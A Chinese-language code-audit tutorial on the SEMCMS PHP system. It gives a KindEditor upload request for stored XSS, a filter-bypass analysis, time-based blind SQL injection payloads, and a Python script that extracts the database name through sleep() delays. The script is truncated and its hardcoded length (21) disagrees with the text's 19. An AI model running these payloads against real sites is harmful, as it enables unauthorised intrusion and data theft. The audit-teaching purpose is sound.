本次审计学习选用的SEMCMS是一套非常适合入门的PHP系统,其代码结构清晰,涵盖了前台文件分析、SQL注入查找、过滤函数绕过等经典场景,是提升代码审计能力的绝佳材料。
环境搭建与初步探测
首先从官网下载SEMCMS,并使用PHPStudy进行安装。需注意,建议选择PHP 7.4以下版本,以避免高版本语法不支持的问题。

安装成功后,后台访问路径为 域名/dPVnrB_Admin/。
存储型XSS漏洞挖掘
审计的第一步是熟悉代码目录结构。dPVnrB_Admin/ 目录即为后台,其中的 edit/ 目录使用了Kindeditor富文本编辑器。

查看 kindeditor.js 文件,发现其版本为4.1.10,这是一个存在已知上传漏洞的版本。

确认该JS文件可通过浏览器直接访问后,尝试访问漏洞路径:/Edit/php/upload_json.php?dir=file,响应码为200。虽然页面没有预期回显(可能系统经过修改或存在权限限制),但仍可直接发送攻击Payload进行测试。
绕过网上那些繁琐的HTML文件上传Poc,直接发送以下POST请求包:
POST /Edit/php/upload_json.php?dir=file HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypfEGN549yusZTYG3
Content-Length: 138
------WebKitFormBoundarypfEGN549yusZTYG3
Content-Disposition: form-data; name="imgFile"; filename="1.html"
123
------WebKitFormBoundarypfEGN549yusZTYG3--
上传成功,并可以访问上传的HTML文件,成功构造了前台存储型XSS攻击点。


从网络安全审计角度看,漏洞成因在于 upload_json.php 中的文件白名单包含了 htm 和 html 后缀。

前台可访问文件定位策略
通过目录结构分析,该系统为自主开发,未使用主流框架,路由模式为直接的 域名/目录/文件 形式。这为快速定位前台可访问文件提供了便利。
可以采用“黑白结合”的方法:提取所有PHP文件路径,利用工具进行批量访问测试,从而筛选出未授权或前台可访问的文件进行优先审计。这种方法能有效缩小渗透测试的初始攻击面。
以下Python脚本可用于遍历并格式化所有.php文件路径:
import os
import sys
def scan_php_files(directory):
php_files = []
if not os.path.isdir(directory):
print(f"错误:目录 '{directory}' 不存在或无法访问")
sys.exit(1)
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith('.php'):
full_path = os.path.join(root, file)
relative_path = os.path.relpath(full_path, start=directory)
formatted_path = '/' + relative_path.replace('\\', '/')
php_files.append(formatted_path)
with open('result.txt', 'w', encoding='utf-8') as f:
for file_path in php_files:
f.write(file_path + '\n')
print(f"成功找到 {len(php_files)} 个.php文件,格式化路径已保存到 result.txt")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("使用方法: python getPathl.py <目标目录>")
print("示例: python getPathl.py /var/www/project")
sys.exit(1)
target_dir = sys.argv[1]
scan_php_files(target_dir)
将生成的路径列表导入渗透测试工具进行爆破,可以快速识别出如 /Include/、/Templete/、/Edit/ 等疑似前台可访问的目录,从而避免在海量的代码扫描报告中盲目查找。
前台SQL注入漏洞审计
基于上述策略,我们优先审计疑似前台文件。在 /include/web_inc.php 中,发现一处对 languageID 参数的处理逻辑:
if (isset($_POST["languageID"])){
$Language=test_input(verify_str($_POST["languageID"]));
}else{
$Language=verify_str($Language);
}
if(!empty($Language)){
$query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

参数经过 verify_str() 和 test_input() 两层函数过滤后,直接拼接进入SQL语句,存在数字型注入的可能。
1. 过滤函数分析
verify_str():位于 control.php,调用 inject_check_sql($sql_str) 函数进行过滤,正则规则为:/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i,拦截了常见SQL关键字、特殊符号及高危函数。

test_input():主要进行防XSS处理,包括 trim()、stripslashes() 和 htmlspecialchars()。

因此,突破点在于绕过 verify_str() 函数的过滤。
2. 报错注入尝试与限制
首先尝试报错注入 extractvalue(1,concat(0x7e,user(),0x7e,database()))#。该Payload成功绕过了关键字过滤,并传入数据库执行。


但漏洞无法利用,因为页面代码中没有对查询结果进行任何输出(如 echo 或 print),即使SQL语句报错或执行成功,攻击者也无法在前端获取到任何回显信息。
3. 基于OR与LIKE的时间盲注
过滤规则拦截了 and,但未拦截 or。可以利用 or 配合 if、like 及 sleep() 函数构造时间盲注。
- 基础Payload:
0 or 1=1,用于验证注入。
- 时间盲注Payload:
0 or if(length(database()) like 19,sleep(5),1),通过响应延迟判断数据库名长度为19。
由于 test_input() 函数会对双引号进行HTML实体转义(" -> "),导致SQL语句执行失败,因此不能直接使用字符进行 like 匹配。解决方案是使用十六进制或ASCII码。
例如,判断数据库第一位是否为 ‘s’ (ASCII 115, 十六进制 0x73):
0 or if(substr(database(),1,1) like 0x73,sleep(5),1)
编写自动化脚本,可以依次跑出完整的数据库名:
import argparse
import urllib.request
import urllib.error
import time
import sys
DB_LENGTH = 21 # 固定数据库长度常量
TIMEOUT = 6 # 请求超时时间
def getDatabase(url, timeout=TIMEOUT):
s = ''
print(f'[+] 开始Fuzz数据库名,目标URL: {url}')
for i in range(1, DB_LENGTH+1):
found = False
print(f'\n[!] 测试第 {i}/{DB_LENGTH} 位字符')
for j in range(32, 123):
payload = f'languageID=0 or if(ascii(substr(database(),{i},1)) like {j},sleep({timeout}),1);'
data = payload.encode('utf-8')
req = urllib.request.Request(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
start_time = time.time()
try:
with urllib.request.urlopen(req, timeout=timeout+1) as response:
elapsed = time.time() - start_time
if elapsed > timeout:
char = chr(j)
s += char
print(f'[+] 发现字符: {char} (ASCII {j})')
found = True
break
except urllib.error.URLError as e:
if isinstance(e.reason, TimeoutError):
char = chr(j)
s += char
print(f'[+] 发现字符: {char} (ASCII {j})')
found = True
break
else:
print(f'\n[-] 网络错误: {e.reason}')
break
except Exception as e:
if "timed out" in str(e).lower() or "timeout" in str(e).lower():
char = chr(j)
s += char
print(f'[+] 发现字符: {char} (ASCII {j})')
found = True
break
else:
print(f'\n[-] 意外错误: {e}')
break
if not found:
print(f'[-] 无法确定第 {i} 位字符')
print('\n[+] 数据库名:', s)
return s
... (main函数等后续代码)
总结与延伸思考
至此,我们完成了对SEMCMS前台一处SQL时间盲注漏洞的完整审计与利用。后台SQL注入的绕过手法与此类似。时间盲注效率较低,已有研究者通过判断页面返回内容差异(如Content-Length)的方式大幅提升了注入效率,此思路亦可借鉴应用于前台漏洞的利用中。
本次审计过程也揭示了前端框架与后端安全密不可分的关系,例如旧版本编辑器组件引入的安全风险。深入的代码审计需要结合静态分析与动态验证,从过滤逻辑、数据流走向、结果回显等多个维度综合判断漏洞的可利用性。